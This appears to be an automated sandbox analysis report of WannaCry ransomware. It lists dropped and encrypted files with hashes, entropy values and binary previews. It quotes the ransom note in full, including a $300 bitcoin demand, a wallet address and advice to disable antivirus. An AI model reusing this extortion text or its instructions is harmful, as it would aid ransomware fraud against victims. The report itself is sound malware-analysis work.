                                                                                                      Preview:J...p...c...^.....G....1.....d.......X.u.....C................"....e..;..#.k|......x.%..\...~.|..........u.....8....v|...+.8=...8..@ .tP.....j..=.K.....1|..h.(.O..O)W..~.p!....q.S..!P.?.*....c.*Z......0j..J....E#Fq<.y..S.K...B].... ......(.{..%.......\..'..7...1..]JU...G...FM..7N....4|s.b.............dm.wT......".E...S_i....X.L...Dw.f(.(.........s.@=...:...9.............b.....G.fc....:>G...v.".:..........@...Ln."....>.l.......S.}Tu [.r.IQl?..P6...i5.....E[..J-....Y....Tb..>..e.Q.."....YVW..*.!..@u...X...z..L..O..a.4.C..T...=..iK....+.^K..C.......v.I.i.....Mf.^.;.7..KdGH...i3......l..>z.h..M..b9.....b..ql...2..Fd...\.D....{hK.....dTG.-..].1(.....$%5.........*......2B........S..%....*W*......L..v.].bQ8H...H.""...^..d=.#liW.r.....l.J.:..3...f7.Ta.......i}.... ...#c....H.t&.iP...`a..?A!../........(.4.;\a.hP...G~qIDn.....A....e..4m......Z;.dKpS./.~. ....8Y.L.x+...pbT....B...5*...Ss.i...,.?.>..+..^...%C.....H>;.EF.@.U.....*.t....H...D..`.2..,..Q.

                                                                                                      C:\Users\user\AppData\Local\Temp\96.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.822846200837177
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:12:nafykEKprctxYfxM7iOErJ1iT4pOwt/xZy1qmr7x3u7MMFahcd27n+i99o0CU4+1:nChetxgM7jnTCOcJZw9u7nMywm8POVw
                                                                                                      MD5:8D75ED8A1EAAEB73675B3E31E61E3BF7
                                                                                                      SHA1:10901CD8DC17CEE73A4246842DF85A615C038028
                                                                                                      SHA-256:5FA22BC30642EBA2BD77104DB365A4B61EEB11E59D6241090FF71231C6AE4883
                                                                                                      SHA-512:028F31E45A0EDE4AA9AD91982BEC4C7039397966308B561277E3125AC379E5E1733F3B7CD55A98C8CE2DC3E0079C4C28DECDFBEE3432BBBB6C319065B3E129EE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:G...Ko...`.@z.B}?.Cm..y .c..=....3V..#{..K.N.L!..YW&"f.-.....W/....+..He..L4 8~x.I....P.4.b...}...Y....pl..Ax..R.#........7.{.(%^..p{....e..@..'...6....1-.{.c..g...e.L..p.Y.n:(,L<....B...'.1.F...L.........+.X..z...KR?..@.w.0.c.....~.<L.+...Fx1s.qh........*o.j..W..r...4B...(...u..l._h..8..o..g2.\L...3.4.#.VW.(..Z..X..Q.M.E.]V...3.1a...M.Ya-.4....99=I.!(,..6W...TR.n..(["~../4H....$..b5..)..L.....'W.q..}....w..-...>9p>LB......L.1..e....!......q.....#m..]n.*u..T,..h.R|.mM..\....p.._....d/....3.,y..BA9.V.$TS.6....CA.......Lt1.!<D.o.sY1....i.t.C}... %U.Y.*&?.<...w8+,.c. ...5 .....C[........l....`J|Z.g....Y.i;..`i.+?HG/.z..[..b..rxlFW.o....R......u.|..,...Z.K..r\..rTV.!...:'..K...Q...-.A....qT.S,;...o.>._t.I(S......\{).a......).O.o`.(a... .pZ;6-...tE.V.Nm..8.J..D..f.,.e..Q..[..R.h......./.f..+.|<.dT@nl.....CKB.....C..7....A88...#..8.8..+..;.M.Z...O.i....#....{U2X5.o|,...0>.....M`Q.....r.\......2.K..!Qz...S.i._.2.m#.....R..../..q..1.}.-;.P

                                                                                                      C:\Users\user\AppData\Local\Temp\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\AppData\Local\Temp\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):24168
                                                                                                      Entropy (8bit):7.993571000811764
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:yfYAIorVLyorm9yBgqh6+60H4ra357/KpzAg7TtfcPLDoU+4dzt1CcKD3p40xceU:yfbIwVLNrmrgN60H4rW57CMaEDWMqc0K
                                                                                                      MD5:620CAA21CF58CE7856BCB000E5724BF7
                                                                                                      SHA1:2B72950EDB66862A008D89180D118E84556C3361
                                                                                                      SHA-256:057DC0C0F2204EDC7AB18C613852D5A97FB7B28039B9B6D576CE061D5C1192C8
                                                                                                      SHA-512:0AC2852E7EAFC45017779345CE2DD2588C5535D9838496A96C7058C730FCA8D7D87D12AF89C10752B5B8D7D48DD54EB162CC08814A6DD8248BA60DD779D16D15
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....2Yp_h.].d....&.....<t`...#...Y....6p}u.G..AX..]#...M_.Vf...H........w...i.~.xo.`..I[..S.....D.S$.).H.FyI#zkjs[D.n...s...~.Pc?+.A....t..wF.&.=%..*.Rd.+Dk29s.....9...%....>.Jt..~GU1.Q7.C...e...,....$.>&. .c~4..5&....0p....XD.....4^........q......\.T....D]......H*....w.U..%..UC....#..R.@~0.m#i$7t.F.F.US$..X.......0...+..D=.8..d.E..\..I.}.p# .M....lc..........TL.g"..)2..7:..u..R..o$)n.-.Qu.....G.l....|.g"m.a.4@.#.jM.....?.gI..}....HJY.L.c a..w.........Y....7rk..{-....0......A.M..Ez..2H.H.'^.$.U.X,.M....x.nt.....p4.v:..K.s.N..<..`..c@...v...... .c...B3....A.,..!l.;|7g.......q.S..-..r.......a....}.-a.l.Z.cl+-...:..F5.}0..Y&....U.a.~....e....].h..*....'..Sg.L..(},..s.....D<.8.......6o.T?....l.x\.........#..n.}*....r.&...%.......n.3.....E..Fj../*.0--T.6...b. ..M...DkY..sO.kH.wv..l....V...(.b'.~.v...~.6'.l...a-.J..._....:.wq2..G.p..)ZG.....EK..A...J.%..y.g^.U..h..S.]..}(9..5..+7..7.q}..d...3k....NYg....N..,.........."v....r..!#`q......O..X7.c

                                                                                                      C:\Users\user\AppData\Local\Temp\user.bmp.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):602456
                                                                                                      Entropy (8bit):7.999731171383691
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:HsC4BIC5Hs/bUUDxcyNSrLo9ZtIwAyFBjO6PI3TMtItJc0A5+hm2+R/9Q5jO2TSO:HsCjC5Hs/ZForLo9XIiFBZCgo3C+82km
                                                                                                      MD5:92B3F5207A650394895DCFC1AF6BD970
                                                                                                      SHA1:D0D1E311C0944B325F4168C3FD3435C386E44ECF
                                                                                                      SHA-256:274409052E6371E7C1C6F6F838AE7E3C796745773185392CB6E2441B100534F6
                                                                                                      SHA-512:41F1F67A1717D55F4BB871623184228F2688BA022E31D5B4CAC72CD777BF2009FA6DAF32C25D425B9689924781BCEC84CA06C5F2340C3DC2E5EBA6E9112F7513
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......H...>.!.M9....{...E.)5....s...Z..A]......#j.aw.j.+..)P_.....xZ.H+.s.6j.+....n..MlM....E......rDo....a`.V...B./,%r......ek.ly9.v.Zm.ZT.!n#p/....D..w....}......."..b..a..{H9..%..J:.8H>...T..K.s.o.{_t..zK.#.UP...S.K.w.]..T.P....u.|..5..Y....s.]....80..........mu.+F\.....e...Q.#.F.R....U?X....n.~./....|.5`.y-j6..8.J....c..D`+gb!g../\...r...D|9..v..N..M.........7<..m;.s.7..j....[..|.0*...u`S.|"o.........7....e..S.....5=..7M7.^.V=E.:\../.a.P=.R...2;mq...(U:....Q...j<..7.sP...l.{..B.........k....X.a,q(........L.VJ@.F..W..2..cj.'...........BZ.........b.m.{Nt.o0.{...4u..Nd#...av..+.g......B..a.S....=.[L...T....S.s..!....;..j.....m8H.s..-)..$.:..U.F4i.%nF...x.9...2W....@.2h.r.r..+>.0k..&.Ss8.*.CGN...~0,.(;......~.&....+..t6...".....P./.c.dWh..EESL..d.Wb......"..Q./hI#..K..Z..............T.|..XN.v.......5....Q.=...4.~..$-aa..>._.6..E.R.H..-0.]....=.e(.I$v.P.....8.....9......N.2-a....[..j...Z].........-UcS.YMqDv.%..|.,).......*R.`

                                                                                                      C:\Users\user\AppData\Local\Temp\jones.bmp.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):602456
                                                                                                      Entropy (8bit):7.999672763033644
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:2G51kEMOcKW0cECE8sybUNwb0pnxASvshhO1lhJLFqBE3AuA1k:2G5vnfR+A9pnySEnOhxFqBE3L
                                                                                                      MD5:46B09D04F0063F17F69645830F6930B8
                                                                                                      SHA1:D4DEBDD5ED0283F8CE1CA3E6DEF4C5380863EB1C
                                                                                                      SHA-256:40D63951D7B45D28FBB2F8233FA773E521074E74E4B7C048203C6DA77C16587B
                                                                                                      SHA-512:C45629C501C0CBBF03B4D3CBC4E813D2DAA1726B931E66C8605752DAEF816A31C0A3A7FBFC19A83ECAD2BC5D550B0FE652280A993C2EA9AE988E5E62B5F5C866
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....R..Z..l^.j..E.0...T......a,..r.o.}_..U..2....u&...j...!..G.W}.y..z.=....A.Z..s..+......y._Q..qY.h&.C..M>..P^P.nY<......x...#....+K...E^u..4".1ID.v.y..%..t.....`;.h...^.z.)..[.R.KG...]..v.]..v......L%3w<.].u....?."H....B.{.`.;fYF]..uc...%.].....80......daJ.r...N.:gAy..W....i.........VH.....{.%Jp..x...W....D.i...z..d.sA3m..P.3....+..q"9..4E^.c.P......Y.bgD..t.......j.....Z...\ ......,.t......Y. !..U....?.h......>........mHV..L.+D.."}.~....b',.I.!P.ij...Qh.....g......"{g....<....T.......e......R..h-|..$.8|;.R.....R.k....<.3.Hf..l..<...E..V..D_.!.J.I.._pU@k%..>.FV.T....t..Gu..RbZ.Kv$.f..QQ..t.ee...U..79M.....{Df......z...>*-O..fiS.Q...w.......mN..S...&T...2......C...Gs........`.....|Qj.jy.y?...K.;..-..x&...R..h.F.......`V|.e....S....#AP=.Is..J...pY<..1..j.Q).#RR..^.Y.o..#U.yb"8...xH;y..].r...n...>..Yi.JO.h.../.,0..1a.&..2N..tf.+L..o%....k!M0.J.......\...N.u.=...P..p&.....L.%.....G...<+.~T.......c.U.V..Y....GCo<.....L.

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BJZFPPWAPT.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.845441272235062
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk0McSloH4vqp2UddnalTsLBiDiKr09c/FsVpjr4LOXLR1isCX+77DrH1t:bk0McKZvqp2AdnST2QF/SXr4C7RbCX+L
                                                                                                      MD5:399FC7A5B8E33211591EAC23ABDBD105
                                                                                                      SHA1:B53E2FB059956800D80A2CE48C1441C9196DC51B
                                                                                                      SHA-256:A7D89AA99E13BBA6ED03CA6BCE6ACB74258A2E96B8230F4EC7DE07D83A224CEF
                                                                                                      SHA-512:104E35676FC1E640F54C4AF3CCA4D8BD0FA35430D1DDB2101D8F096E5DDD11A6EC7DAED0B51C2BF4AAA2BABA07ED6CFA293909B52BDC39DE5B08636242D3A82A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....q..xD.X.r^..s&.!^..1i............D.+~F.%..Q...&'.......I.....L.)I.m....|Q&..+.(J.!Nz.&.!a6.....Q..j.P.ZN=..h.....D.*.......O"N.)u..Q7....od.>.^)......2.b..N.aG9...H#..N.%*....Mwf`...a..l.-.......U..22$..n.,4Q..~...c......7~....E.C................(......?../A.{b....m.\..;@......q...&....|.D....p.GVW..e..o........f.ew..`S~;....\].=gp..}....*...J&.T....KL~`L....O.eu..P..-U...)=.a.dp%.&^k..E.Sn.1b..QFo].a:.@....gb...6...y.Y80.....|..vh....=...]... ".P.I4f..8H).. %8k.!.N!5.....6o;..4/^0?....p;gK.9i..u....I......k.H..x.....Dd...(..4S.B...b{I...S......&L#.....O.'{x=.....x.0?.4....=_..0| ...V...%...;`8)......j...O+Z...-T.E.;.....N.50.*....O.J...T<6...yO.k...5......ua.$.)F.u.|...\L.....2.2..R..a.NG.8z..8.P..V.n...Hg....}...7].l..o.[Y6.k0>.....Z......n.......;Z...J..J..nJ.s.T;..S.<.).......6.'.a.....q.Zc......L.S....h....e%w....P3.%...?.'...j..[8.4.....>.ej.1K..0#.4...0...Y.Qc%..........D.N.}..sn...hXyk..I.Q:Q..J+Q..W..K....V..u..

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BQJUWOYRTO.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.833237607951859
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkV9HwTJyOl7WD67oS+zsSIWEYP2aX9aEASXlLJc/yZT4O:bkV9Hpm7wS+ASIWXh52yx4O
                                                                                                      MD5:A271AF131C4D6FEA484268AACB4D3A59
                                                                                                      SHA1:68D376AD1719F82EAB2FD4F619EEFAE4A0AA8571
                                                                                                      SHA-256:2914CFD042598FB1431C218A938FE204C49D408EF57193307EC32B8D7DC628BA
                                                                                                      SHA-512:4C9918247A69D670F9BDEDC6678EC7050A2237036D0F1E203FD166EF448B1A4A8850CB7E890111A34F6602FD06CFFB7B424032867AE21F050C4F6DD5D57CA2DB
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......C...<.06..(.fW...E...J|&=A.x|...P..k-}Ho..L~..E.jx.........i........')6..n..W....|..][.1..*r.h....g....... D...\...O...usNo.7..%q...'..cu.L...,...@...Zp.*.@p%Z..-.R..u^...|D....''.[...W{...............'.Z'.yi7.A...]...m.dz.WA%2.M..../.%|.e..............Ss.......k..Bw...?.+..3:..$.. .{..kh.n.....c.w..j....c>........m.....v..L..3.N.c.Y$(W...C...H1..!B.w.....A.E.......7...!...q.+...f..sj#..6t.B.p.EB..........PEE(~.......3....!..X..R\....p...y[...gx5.I.u....<...1.E..#R$X......p...e.d.M[.....W..O.S.. ...$[..,..$..C..IW....z......./.c.qS.*.}+..e....._ !fR...-...u.!p5.Ag...8.l.._..&....uq.bd.5.. ....|](.Q.]..*....k......F.|.AEn..+....NU6..........+....?|..../2.*}........._.SD.Q.?.......RM.`.....A..n...F...D.....gi_.K0. ......Q$M......O..-IWR..t.....x..$.7.g......yq.E...|...uM..OW?.A..g%..\O.XY.Z^e..=.E*...<...[..9.D..7I..7..N` A.....,..a.ze..vFPAt..\z+...r..."&u.7....eI......n.uqg....^..........N >*a.3.r.,C..|....b3P...)...A'6.'.

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CROLFSOWJY.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.852564726358795
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bknLT+jvNu1IbcTebhValj+WtBWm+wf3/o+5VAwQTNA83PFzONucVj:bknL6Nu1UDMlSqgmaAITm8/5+j
                                                                                                      MD5:A12A283ACDE7B6262FA3D46F23FE3396
                                                                                                      SHA1:18FF6B628E2B1EF54048BF3B0E65047021F35883
                                                                                                      SHA-256:7CA5E60A70FEAF78C4720AF4D29AF161028C9CD6514DE303C386E77D73AE0623
                                                                                                      SHA-512:9F8D7713E6A0CD60161CB0B7DD0CF2D59D59B48E5CFEFAA58BB5E33937502A4E9B529FCC27057FBE8B383D536C8122AFE4C39D08DC68E9CC41D1C674AC09B5C0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....<.( .(...._B.......W}...../.~=...9>}..`....."....&.A&Y..k....3..p..'.Ho...cL}ZS..."Q..%...I.4..6.KB.@8........h......6...2h.W...L.C,.M..?....D.i..B.0.....r.UYe.{..d..O.!.Y.qS.L..w@.?w...........M..:....[.k...z<...q...N#7)7._.s'.6....\.t.3k................A..:..b.VoJ.%..T.>...y..d.....x.....'A\...&.!m....]0."..#Y....z~....... o..e..+C.0..j-..d.y.e...p(q.......q'|~.....fv....mX.y.uC...Aj.k^.....T.,._p...X....F.'bdr.+].n{....#t.&....=.....@.s=..u@...N...Kw..e..r8.V..7C.q./..|b.(...T..,....U.H..5..^.a....u64T..ef..Xm.7...Bk....;...[U".2#..[.7..P...+.#.k......h.37By'.....<>z.#.fc.z.^.....b;y...z~....+t..F....)ACS.....^.T...SJC..@D...+..;k.~..g$.....V...^...*.S.../..p.D.q..........9e.)d.8Gz4..g......o1;...w.tz.O7......._.U.~..~.Zz.Q1A1...(.o9..!...5.$...p#q%^G/..4..].d...G...$...G.1}Y..x.p=.$S..0.d.....[.u.v.....,......."....J.n.~!j..<....Kw..OT"...D.....j.0...j.{......R.z....+e.......:.2.cS+VR#.s.-......].p.K4.....Q6.II....

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EEGWXUHVUG.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.862361580649958
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkTZvDQL6x2xqfIf/gdiSWbsSLKfBFtbTHyb36T1u1hJQ3LkHk15u5jHq5c9z4Z3:bkyLpcgfod9C3efB7bryb3F41wBfMMWZ
                                                                                                      MD5:F304A24CBEB9C6DC2205ECAC865CED39
                                                                                                      SHA1:D9902D3F874B0DC6D63BB491558D79C95E92E03F
                                                                                                      SHA-256:F51FF35FCB84F9040822A22EFFDF72DCF6DFC635B305ED91673E91BC3B8A05CF
                                                                                                      SHA-512:EA29C7461ED188E3A3EE00969925500129BF416DA2374BDA68881E695A65388B56EAE309589C56050F1E1CA45DADA2858B83B88164BC119855E5FACED11FCB49
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....2-..SjIv+..>..<....H.T..hE3.\..50...x(.n......"...A5.jV./;...}}D..3L.-F?~..j@..Q+N.^@..u!..:.*;.......3......?.b..c.4.......j-z.5..2...igS...)4%P.k.2.=...6rP..H.u....".Q.5~H..q.b...n_.|b.'Zs2(..NS.vR:...c.V.hr..xXO.....Y..F...Z^#B*.I..l.#PH................vI......z.k.9................tIxh.\..<...-G.....e...x..Vv...A...A.d2:.*...Y.4.&<...v...f.l...N#..B..E...*3.... `.....0.`3u...u.t.}e7.Z.A{...A...9.-.....!!..&.......;B.7.zYp....9p.?.F*...I./U...%...%..y.......Bq%z..B.87...f.v.hY.i@<......u.Hs..H, ......$.~.m..}&.....Y.K..7..gW.....O. &.2..c.p...?Lf.......u1.}X..YT.'.d.M..mm6.V.^{.........y..xY.V.j+.|...mP..7^..6..Op.A..$.)5.PfT~....E....!.U?.>.E.....8.@.8.K8=.C.L.:...Z.p/...x..@a..u.....uqr}6~.|va\...i...C.m.1...;/O.#....b...'.V......}....!@%..<=R.7W..+..7..,...v..|o.3..H_..iG.;bK..A...4...v...j.XnEK... ...@...s......:..)...e.....p......5=CZ...d4cq.,!.......m.9..pW>.WV..Q.'6P6...dt...".L..}4.&.F.3S..*.CMx.......U.j(

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFOYFBOLXA.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.853950201418386
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkL5K4Kxff+u4Wu25yjD/QmFsTrYonkV9P1kO/rfbl45hZBRMn:bkoTdW5VBQmUrlnGPT/rBULMn
                                                                                                      MD5:94B15E3EA1D1912036772C4A7B86D215
                                                                                                      SHA1:AFC90BD7E5FC5F51A938413EA0DA450ABEDF9E9D
                                                                                                      SHA-256:4362D89FB45D2F3BDE3DF2DDD064AEBE0FFC03E918CE52105A9C95DB54898ED4
                                                                                                      SHA-512:C69401DC112659BE2369D6E9F52917A819A19BD15E8DD9D4D26C3C4A9A5D7BDFD1DC52FD85CABC41C174F2A4782DDA2A5C6F22E9F5E4B9A45205FF27D959C1B5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....A..?}....u......o.{..l...!......i>..(l.X..6..9..._5.-....'..#..3q.....&....<X.....U..)..`.%.j@....5..P}.joKQGa...r...."..V.:}...[.O..4.6.\.V.g...3y6.|}..z4_..."."..e.}..:k....h.n...h...J..N.k....c...|Vz.....C._..G.......b.:.....(...i........'................#.../....GE..n..8....|.{.M'.....r...8..,..L...?..tt.i...Q..W..&.., }.....WR.......!&s.....7.......[..-..`.1......Att]+.....q<.......g..... .>.u~=|......Y..N....^x.$....[TM.[.S.Pe..iKy.L......}..*g.-......g.j..T..(..I....M..R..Er.I.I>....i.....y. @.C...V.`.....o....... .....m@Ri........J............._j06z....n......~Z./..U......J.H.!e.......2R.UX~....c...u)..l?..($....Ir...F..d' ....$S.EK.{.1.d..]......1j.v.....sb.q.6-...z./...V(Kd"2.e......3S]%.S%L....|.{..C.^.,.:...4......?..1..)..........^-..ZF..8.2P{_~I..X>!..W.X..gt..].v.xu'(.X.n2(an.../...,...R.d..Cho)k.%.M...D...Z%...B.fo.%....`hKF......8.n.j.>.E"0....h.c$...._....1....L*.....=.u.J.S.....n.8......m.....& ....C)4I

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFOYFBOLXA.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.820174850870331
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkC7vrbfKXKVrDqGnDea7bK0NvRzMfvn7Xm2QBdDQSoMbadGG4RKNc9Ius:bkCbPQKVXnDeaq4vhGTSraEGTgIus
                                                                                                      MD5:D53146C6638513D0C18879B8BB81995B
                                                                                                      SHA1:144715A6BB25F729A6D2397CCD169AC9D1B3F6EE
                                                                                                      SHA-256:5434BC8AF4AF0CFD26115E2E7E0405A0DC327768D3DBED253354B8A5F451DDBE
                                                                                                      SHA-512:7126A13FF44D715F549B378AE57362A9977C42C7BD7451B71C84D72E4F1EF418B8B7259C8EBB76B87A083105D2F375BA4B23C93097E1D710090078A332809AB8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....p.o..N!\...8.P:....q^~M... .I.)rW..N..B...D.'.D...=xn..A..S:*O.$.f..s...k.......0.l..[..Q.H...Hr..~)..g.P......:..../N..L2._.....M.*...=*.5.LD.ZN\.l...mn.....D[\......POtT...3....h......2#sW...7...Y.7.m.)..j.G#...i.i.Q...#MD.....l[O..;......................v..2_:3'6./.P.......wt..G...{.G&....T'.^..m!.bl..1..tu....,.....u.Px..b.p.<.S........E._Q.F...._.~....*w...*...B.J.f=u..ac:..V....|a.;........8%.9.&,..]gQ....d2yms'.(.y.t..kx......#..g...R..<H./..14#:*.....".rb..f?7..2.Rk.x.NO.J..W..P.J..&..........H..|...t..S..V1@1`|.w.m.O.&..s.S6..6..X.Hw).....*.d.y_...4J.M.<....c..:P~.Mu.......Nt=......B....E.u.z...G......3.L.8O$..s4....d..._ZnL..,...2=.w../(;I..8.d.a...4."q..........B........V.'...f.B#<......C...OIK\w*.M..M6...J...$..v4....]}..{.8...%A(..B.....E*.L.......M....\!....T1...r".....B.:i.~.. ....D..VGG.............S.w..D7..F.?...].#y..."p#8(-Yo..y.d".8-...2....f.A....p.!8.l.}B.Q/A...R....{....:...\.1.M!.d...5............. ...

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.854991230239847
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkJz8qBRUFDSGy275/ZgdCZAl1iZSw2uO6imp6nFoN2i52C5ZhBSbjL:bkJlRQy275/ZpG3iZZm6zpaFI5ZhEbjL
                                                                                                      MD5:CD478FA8E2D840CEB4C984FF96F7244E
                                                                                                      SHA1:692B05B6B5F0729FC59656F11307AA809AFA45E3
                                                                                                      SHA-256:3CC1A30D991FEC6EE3A04ED897B74583F6F4D9C4FC60D2184FCE8C53AA7754AD
                                                                                                      SHA-512:542BFEA6A8C2ECFFDABB174016DE1655A74F901068A3EA115476AADC88DB6F4018DEED131453D880D9730176831936002EEC5E1DBAA81569CE96E29F19288F04
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
